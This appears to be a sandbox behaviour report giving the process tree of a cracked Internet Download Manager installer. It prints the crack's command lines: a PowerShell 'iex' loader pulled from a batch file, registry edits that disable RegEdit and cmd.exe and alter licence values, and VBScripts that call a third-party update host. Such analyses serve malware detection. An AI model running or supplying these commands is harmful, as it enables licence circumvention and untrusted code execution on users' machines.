C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3224 -prefsLen 32900 -prefMapHandle 3228 -prefMapSize 270279 -jsInitHandle 3288 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5440 -initialChannelId {5d5e6b8f-dbb2-49cc-abee-95e3775488c1} -parentPid 3724 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3724" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4736 -prefsLen 32900 -prefMapHandle 2592 -prefMapSize 270279 -jsInitHandle 4724 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5416 -initialChannelId {a82e85e2-6460-48a9-907c-02baff92c5eb} -parentPid 3724 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3724" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5544 -prefsLen 32952 -prefMapHandle 5548 -prefMapSize 270279 -jsInitHandle 5552 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5560 -initialChannelId {0bec236f-75e8-4249-a6e3-434b67ef485a} -parentPid 3724 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3724" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5956 -prefsLen 32952 -prefMapHandle 5960 -prefMapSize 270279 -jsInitHandle 5884 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3016 -initialChannelId {7f050e12-a8e0-4c4f-9b59-93dfab6c478e} -parentPid 3724 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3724" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab6⤵
- Checks processor information in registry
-
-
-
-
C:\Program Files (x86)\Internet Download Manager\Uninstall.exe"C:\Program Files (x86)\Internet Download Manager\Uninstall.exe" -instdriv4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\RUNDLL32.EXE"C:\Windows\Sysnative\RUNDLL32.EXE" SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 C:\Program Files (x86)\Internet Download Manager\idmwfp.inf5⤵
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\system32\runonce.exe"C:\Windows\system32\runonce.exe" -r6⤵
- Checks processor information in registry
-
C:\Windows\System32\grpconv.exe"C:\Windows\System32\grpconv.exe" -o7⤵
-
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP6⤵
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"5⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"6⤵
- Loads dropped DLL
-
-
-
-
C:\Program Files (x86)\Internet Download Manager\MediumILStart.exe"C:\Program Files (x86)\Internet Download Manager\MediumILStart.exe"4⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{a22b51d0-f9a9-874f-bb70-c580d1c34541}\idmwfp.inf" "9" "4fc2928b3" "000000000000014C" "WinSta0\Default" "0000000000000160" "208" "C:\Program Files (x86)\Internet Download Manager"2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "8" "4" "C:\Windows\System32\DriverStore\FileRepository\idmwfp.inf_amd64_be5722ccff6c2371\idmwfp.inf" "0" "4fc2928b3" "0000000000000170" "WinSta0\Default"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "8" "4" "C:\Windows\System32\DriverStore\FileRepository\idmwfp.inf_amd64_be5722ccff6c2371\idmwfp.inf" "0" "4fc2928b3" "000000000000015C" "WinSta0\Default"2⤵
- Drops file in Drivers directory
- Drops file in Windows directory
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "8" "4" "C:\Windows\System32\DriverStore\FileRepository\idmwfp.inf_amd64_be5722ccff6c2371\idmwfp.inf" "0" "4fc2928b3" "000000000000014C" "WinSta0\Default"2⤵
- Drops file in Drivers directory
- Drops file in Windows directory
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Drops Chrome extension
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff7af9c728,0x7fff7af9c734,0x7fff7af9c7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1672,i,15764999344718019586,1219734835398621045,524288 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=2132 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1556,i,8517416963047202209,1164901257765645076,262144 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=2100 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2192,i,14519132243723675434,11487409247814963052,524288 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=2216 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3220,i,14845074222817142818,7009677720918218959,2097152 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=3364 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3344,i,3707648441498389862,2915408784888157538,2097152 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=3420 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3792,i,15037131418879757418,10243267333435051375,2097152 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4008 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4044,i,797630870221008519,12804488615796450941,524288 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4364 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3960,i,2040281798835477170,2395922282052675132,524288 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4984 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4764,i,982136942383924447,18353686711858281712,2097152 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=4760 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5116,i,10992611792094399452,13565779461485794072,524288 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5104 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5812,i,17300364447172033367,13882000575193595385,524288 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5816 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5340,i,14628859760731706458,4238622391288463112,2097152 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5220 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5076,i,13020633260988776621,14379174505073014146,2097152 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5248 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5072,i,2856003130448669765,10671374168238635015,2097152 --field-trial-handle=2104,i,124592940325045435,13038805745011875732,262144 --variations-seed-version=20260818-170111.474000-production --mojo-platform-channel-handle=5052 /prefetch:92⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.d3b63dd1afcb9e9 > \\.\pipe\chrome.nativeMessaging.out.d3b63dd1afcb9e92⤵
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://ngpampappnmepgilojfohadhhmbhlaek/ --parent-window=03⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\grpconv.exegrpconv -o1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files (x86)\Internet Download Manager\IDMan.exe"C:\Program Files (x86)\Internet Download Manager\IDMan.exe" -Embedding1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\regsvr32.exeC:\Windows\Sysnative\regsvr32.exe /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"2⤵
- Loads dropped DLL
-
-
C:\Program Files (x86)\Internet Download Manager\Uninstall.exe"C:\Program Files (x86)\Internet Download Manager\Uninstall.exe" -instdriv2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\RUNDLL32.EXE"C:\Windows\Sysnative\RUNDLL32.EXE" SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 C:\Program Files (x86)\Internet Download Manager\idmwfp.inf3⤵
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\system32\runonce.exe"C:\Windows\system32\runonce.exe" -r4⤵
- Checks processor information in registry
-
C:\Windows\System32\grpconv.exe"C:\Windows\System32\grpconv.exe" -o5⤵
-
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"3⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"4⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
-
C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 9 Multilingual + Retail\Patch\IDM_6.4x_Crack_v20.6.exe"C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 9 Multilingual + Retail\Patch\IDM_6.4x_Crack_v20.6.exe"1⤵
- Blocks application from running via registry modification
- Disables RegEdit via registry modification
- Disables cmd.exe use via registry modification
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
-
-
C:\Windows\SysWOW64\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\\IDM_UPDT_zjfoyti.vbs" "https://www.internetdownloadmanager.com/idm.xml" "Program_Version" "Primary_Download_URL" "6.43.9.3" "IDM" "C:\Program Files\Google\Chrome\Application\chrome.exe" silent2⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
- Modifies system certificate store
-
-
C:\Windows\SysWOW64\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\\CRK_UPDT_9k4vq59.vbs" "https://idm.0dy.ir/" "Version" "Download_URL" "20.6" "Crack" "C:\Program Files\Google\Chrome\Application\chrome.exe" silent2⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\reg.exereg.exe import C:\Users\Admin\AppData\Local\Temp\IDMRegClean.reg2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c call "C:\Users\Admin\AppData\Local\Temp\BATCLEN.bat"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ver3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\reg.exereg query "HKCU\Console" /v ForceV23⤵
-
-
C:\Windows\system32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd3⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "4⤵
-
-
C:\Windows\system32\cmd.execmd4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "C:\Users\Admin\AppData\Local\Temp\BATCLEN.bat" "3⤵
-
-
C:\Windows\system32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$f=[io.file]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\BATCLEN.bat') -split ':PowerShellTest:\s*';iex ($f[1])"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\find.exefind /i "FullLanguage"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Get-WmiObject -Class Win32_ComputerSystem | Select-Object -Property CreationClassName"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\find.exefind /i "computersystem"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe "([System.Security.Principal.NTAccount](Get-WmiObject -Class Win32_ComputerSystem).UserName).Translate([System.Security.Principal.SecurityIdentifier]).Value" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "([System.Security.Principal.NTAccount](Get-WmiObject -Class Win32_ComputerSystem).UserName).Translate([System.Security.Principal.SecurityIdentifier]).Value"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\reg.exereg query HKU\\Software3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe "$explorerProc = Get-Process -Name explorer | Where-Object {$_.SessionId -eq (Get-Process -Id $pid).SessionId} | Select-Object -First 1; $sid = (gwmi -Query ('Select * From Win32_Process Where ProcessID=' + $explorerProc.Id)).GetOwnerSid().Sid; $sid" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$explorerProc = Get-Process -Name explorer | Where-Object {$_.SessionId -eq (Get-Process -Id $pid).SessionId} | Select-Object -First 1; $sid = (gwmi -Query ('Select * From Win32_Process Where ProcessID=' + $explorerProc.Id)).GetOwnerSid().Sid; $sid"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\reg.exereg query HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software3⤵
-
-
C:\Windows\system32\reg.exereg delete HKCU\IAS_TEST /f3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg delete HKU\S-1-5-21-1679180529-4058988202-686829476-1000\IAS_TEST /f3⤵
-
-
C:\Windows\system32\reg.exereg add HKCU\IAS_TEST3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg query HKU\S-1-5-21-1679180529-4058988202-686829476-1000\IAS_TEST3⤵
-
-
C:\Windows\system32\reg.exereg delete HKCU\IAS_TEST /f3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg delete HKU\S-1-5-21-1679180529-4058988202-686829476-1000\IAS_TEST /f3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software\DownloadManager" /v ExePath 2>nul3⤵
-
C:\Windows\system32\reg.exereg query "HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software\DownloadManager" /v ExePath4⤵
-
-
-
C:\Windows\system32\reg.exereg add HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST3⤵
-
-
C:\Windows\system32\reg.exereg query HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST3⤵
-
-
C:\Windows\system32\reg.exereg delete HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST /f3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe "(Get-Date).ToString('yyyyMMdd-HHmmssfff')"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "(Get-Date).ToString('yyyyMMdd-HHmmssfff')"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\reg.exereg export HKCU\Software\Classes\Wow6432Node\CLSID "C:\Windows\Temp\_Backup_HKCU_CLSID_20260819-000203931.reg"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "Email"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "Serial"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "scansk"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "tvfrdt"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "radxcnt"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "LstCheck"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "ptrk_scdt"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "LastCheckQU"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Wow6432Node\Internet Download Manager"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$sid = 'S-1-5-21-1679180529-4058988202-686829476-1000'; $HKCUsync = 1; $lockKey = $null; $deleteKey = 1; $f=[io.file]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\BATCLEN.bat') -split ':regscan\:.*';iex ($f[1])"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\chcp.comchcp 650013⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKLM\Software\Internet Download Manager" /v "AdvIntDriverEnabled2" /t REG_DWORD /d "1" /f3⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKLM\Software\WOW6432Node\Internet Download Manager" /v "AdvIntDriverEnabled2" /t REG_DWORD /d "1" /f3⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\DownloadManager" /v "nLst" /t REG_DWORD /d "1" /f3⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\DownloadManager" /v "LName" /t REG_SZ /d " " /f3⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\DownloadManager" /v "FName" /t REG_SZ /d "Admin" /f3⤵
-
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe" /select,C:\Program Files (x86)\Internet Download Manager\IDMan.exe2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe" /select,C:\Program Files (x86)\Internet Download Manager\IDMan.exe2⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
